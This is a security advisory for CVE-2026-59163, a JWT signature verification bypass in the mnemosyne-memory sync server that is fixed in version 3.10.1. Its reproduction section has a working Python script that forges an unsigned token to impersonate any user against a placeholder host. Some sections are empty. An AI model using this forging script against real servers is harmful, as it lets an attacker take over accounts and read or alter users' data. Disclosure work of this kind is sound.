mnemosyne-memory
Affected
- introduced
0, fixed3.10.1(ecosystem)
Fixed versions
3.10.1
Fix
- Fixed version
3.10.1pip install --upgrade mnemosyne-memory==3.10.1
Advisory
Also known as: CVE-2026-59163, GHSA-xcw4-53cc-hv32
Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass
Summary
The Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data.
Severity: Critical
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
Assumes the sync server endpoint is network-reachable. If your deployment is localhost-only, the score drops substantially and severity becomes High or Medium depending on local exposure. Confirm your threat model.
Affected versions
All mnemosyne versions exposing the sync server endpoint, up to and including v3.10.0.
Patched versions
v3.10.1 (commit a0b6b871 on branch security/jwt-signature-verification)
___
Description
The sync server uses JWT bearer tokens to authenticate clients. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key.
The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library:
Impact
An attacker with network access to the sync server can:
Confidentiality and integrity of sync data are fully compromised for the duration of exposure. There is no impact on the server's availability.
Reproduction
import base64
import json
import requests
# Forge a JWT for any user. No secret required.
def forge_jwt(user_id):
header = base64.urlsafe_b64encode(
json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
).rstrip(b"=")
payload = base64.urlsafe_b64encode(
json.dumps({"user_id": user_id, "exp": 9999999999}).encode()
).rstrip(b"=")
sig = b""
return f"{header.decode()}.{payload.decode()}."
r = requests.get(
"https://target.example.com/sync/status",
headers={"Authorization": f"Bearer {forge_jwt('victim-user-id')}"},
)
print(r.status_code, r.json())
A 200 OK response with valid sync status payload confirms the bypass. The attack requires no credentials, no secret, and no prior access.
Mitigation
Upgrade to v3.10.1.
For users who cannot upgrade immediately:
Workarounds
None. The patch is required to restore authentication integrity.
Credits
Timeline
Critical Basis: CVSS v3 score 9.1, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
0, fixed 3.10.1 (ecosystem)3.10.1
3.10.1pip install --upgrade mnemosyne-memory==3.10.1Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0